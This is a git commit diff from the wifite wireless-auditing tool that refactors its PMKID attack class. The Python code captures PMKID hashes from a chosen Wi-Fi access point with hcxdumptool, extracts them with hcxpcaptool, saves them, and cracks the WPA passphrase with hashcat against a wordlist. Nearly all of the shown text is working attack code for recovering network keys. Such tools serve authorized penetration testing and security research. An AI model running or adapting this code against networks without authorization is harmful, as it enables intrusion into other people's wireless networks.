Cleaning up PMKID attack.

This commit is contained in:
derv82
2018-08-15 15:58:59 -07:00
parent 936230dd50
commit dd7e93666a
6 changed files with 93 additions and 131 deletions

View File

@@ -3,6 +3,7 @@
from ..model.attack import Attack
from ..config import Configuration
from ..tools.hashcat import HcxDumpTool, HcxPcapTool, Hashcat
from ..util.color import Color
from ..util.process import Process
from ..util.timer import Timer
@@ -11,155 +12,105 @@ from ..model.pmkid_result import CrackResultPMKID
from threading import Thread
import os
import time
import re
'''
TODO:
1. Rename AttackWPA to AttackWpaHandshake
2. Rename AttackWPS to AttackWpaPixie
3. Rename AttackPMKID to AttackWpaPMKID
4. Use AttackWPA to try any or all of the above depending on config/args.
Greatly simplifies the attack loop in wifite.py
Or consolidate all attacks under "Attack" which selects the correct attack based on the target.
Might be hard to capture KeyboardInterrupt, but we can always propagate it.
Could move a ton of stuff in wifite.py (display_cracked, check_handshake) to a 'util'
'''
class AttackPMKID(Attack):
def __init__(self, target):
super(AttackPMKID, self).__init__(target)
self.crack_result = None
self.success = False
self.pcapng_output = Configuration.temp('pmkid.pcapng')
self.pmkid_output = Configuration.temp('pmkid.16800')
self.pcapng_file = Configuration.temp('pmkid.pcapng')
def run(self):
# TODO: Check cracked.txt for previously-captured PMKID, skip to crack if found.
# TODO: Check ./hs/ for previously-captured PMKID, skip to crack if found.
self.keep_capturing = True
self.timer = Timer(60)
# Start hcxdumptool
t = Thread(target=self.hcxdump_thread)
t = Thread(target=self.dumptool_thread)
t.start()
# Regularly check hcxpcaptool output for hash for self.target.essid
# Repeatedly run pcaptool & check output for hash for self.target.essid
pmkid_hash = None
pcaptool = HcxPcapTool(self.target)
while self.timer.remaining() > 0:
pmkid_hash = self.get_pmkid_hash()
pmkid_hash = pcaptool.get_pmkid_hash(self.pcapng_file)
if pmkid_hash is not None:
# Got PMKID
break
Color.pattack('PMKID', self.target, 'capture',
break # Got PMKID
Color.pattack('PMKID', self.target, 'CAPTURE',
'Waiting for PMKID ({C}%s{W})' % str(self.timer))
time.sleep(1)
if pmkid_hash is not None:
Color.pattack('PMKID', self.target, str(self.timer), 'Captured PMKID, cracking...')
# When hash is found, start cracking
if self.crack_pmkid(pmkid_hash):
self.success = True
self.keep_capturing = False
return self.success
if pmkid_hash is None:
Color.pattack('PMKID', self.target, 'CAPTURE',
'{R}Failed{O} to capture PMKID.')
return False # No hash found.
def crack_pmkid(self, pmkid_hash):
# Write hash to file
# TODO: Should we write this to ./hs/ with .pmkid suffix?
hash_file = Configuration.temp('pmkid.hash')
with open(hash_file, 'w') as f:
f.write(pmkid_hash)
f.write('\n')
Color.pattack('PMKID', self.target, 'CAPTURE', '{G}Captured PMKID{W}')
pmkid_file = self.save_pmkid(pmkid_hash)
# Run hashcat
command = [
'hashcat',
'--force',
'--quiet',
'-m', '16800',
'-a', '0', # TODO: Configure
'-w', '2', # TODO: Configure
hash_file,
Configuration.wordlist
]
# Check that wordlist exists before cracking.
if Configuration.wordlist is None:
Color.pl('\n{!} {O}Not cracking because {R}wordlist{O} is not set.')
Color.pl('{!} {O}Run Wifite with the {R}--crack{O} and {R}--dict{O} options to try again.')
key = None
else:
Color.pattack('PMKID', self.target, 'CRACK', 'Cracking PMKID... ')
key = Hashcat.crack_pmkid(pmkid_file)
# TODO: Check status of hashcat (%); it's impossible with --quiet
try:
hashcat_proc = Process(command)
hashcat_proc.wait()
stdout = hashcat_proc.stdout()
except KeyboardInterrupt: # In case user gets impatient
stdout = ''
if ':' not in stdout:
# Failed
Color.pattack('PMKID', self.target, '{R}failed', '{O}Failed to crack PMKID ')
if key is None:
# Failed to crack.
Color.pattack('PMKID', self.target, 'CRACK',
'{R}Failed{O} to crack PMKID ')
Color.pl("")
self.crack_result = CrackResultPMKID(self.target.bssid, self.target.essid, pmkid_hash, None)
#self.crack_result.dump()
return False
else:
# Update Crack Result
key = stdout.strip().split(':', 1)[1]
Color.pl("\n\n{+} Cracked PMKID! Key: {G}%s{W}\n" % key)
self.crack_result = CrackResultPMKID(self.target.bssid, self.target.essid, pmkid_hash, key)
# Successfully cracked.
Color.pattack('PMKID', self.target, '',
'{C}Cracked PMKID. Key: {G}%s{W}' % key)
Color.pl("")
self.crack_result = CrackResultPMKID(self.target.bssid, self.target.essid,
pmkid_hash, pmkid_file, key)
self.crack_result.dump()
self.success = True
return True
def get_pmkid_hash(self):
if os.path.exists(self.pmkid_output):
os.remove(self.pmkid_output)
command = [
'hcxpcaptool',
'-z', self.pmkid_output,
self.pcapng_output
]
hcxpcap_proc = Process(command)
hcxpcap_proc.wait()
if not os.path.exists(self.pmkid_output):
return None
with open(self.pmkid_output, 'r') as f:
output = f.read()
# Check that we got the right target
# pmkid_hash*bssid*station_mac*essid(hex)
for line in output.split('\n'):
fields = line.split('*')
if len(fields) < 3:
continue
if fields[1].lower() != self.target.bssid.lower().replace(':', ''):
continue
output = line
break
os.remove(self.pmkid_output)
return output
def hcxdump_thread(self):
# Create filterlist
filterlist = Configuration.temp('pmkid.filterlist')
with open(filterlist, 'w') as filter_file:
filter_file.write(self.target.bssid.replace(':', ''))
if os.path.exists(self.pcapng_output):
os.remove(self.pcapng_output)
command = [
"hcxdumptool",
"-i", Configuration.interface,
"--filterlist", filterlist,
"--filtermode", "2",
"-c", self.target.channel,
"-o", self.pcapng_output
]
hcxdump_proc = Process(command)
def dumptool_thread(self):
dumptool = HcxDumpTool(self.target, self.pcapng_file)
# Let the dump tool run until we have the hash.
while self.keep_capturing and hcxdump_proc.poll() == None:
while self.keep_capturing and dumptool.poll() == None:
time.sleep(0.5)
hcxdump_proc.interrupt()
dumptool.interrupt()
def save_pmkid(self, pmkid_hash):
'''
Saves a copy of the pmkid (handshake) to hs/
'''
# Create handshake dir
if not os.path.exists(Configuration.wpa_handshake_dir):
os.mkdir(Configuration.wpa_handshake_dir)
# Generate filesystem-safe filename from bssid, essid and date
essid_safe = re.sub('[^a-zA-Z0-9]', '', self.target.essid)
bssid_safe = self.target.bssid.replace(':', '-')
date = time.strftime('%Y-%m-%dT%H-%M-%S')
pmkid_file = 'pmkid_%s_%s_%s.16800' % (essid_safe, bssid_safe, date)
pmkid_file = os.path.join(Configuration.wpa_handshake_dir, pmkid_file)
Color.p('\n{+} Saving copy of {C}PMKID Hash{W} to {C}%s{W} ' % pmkid_file)
with open(pmkid_file, 'w') as pmkid_handle:
pmkid_handle.write(pmkid_hash)
pmkid_handle.write('\n')
Color.pl('{G}saved{W}')
return pmkid_file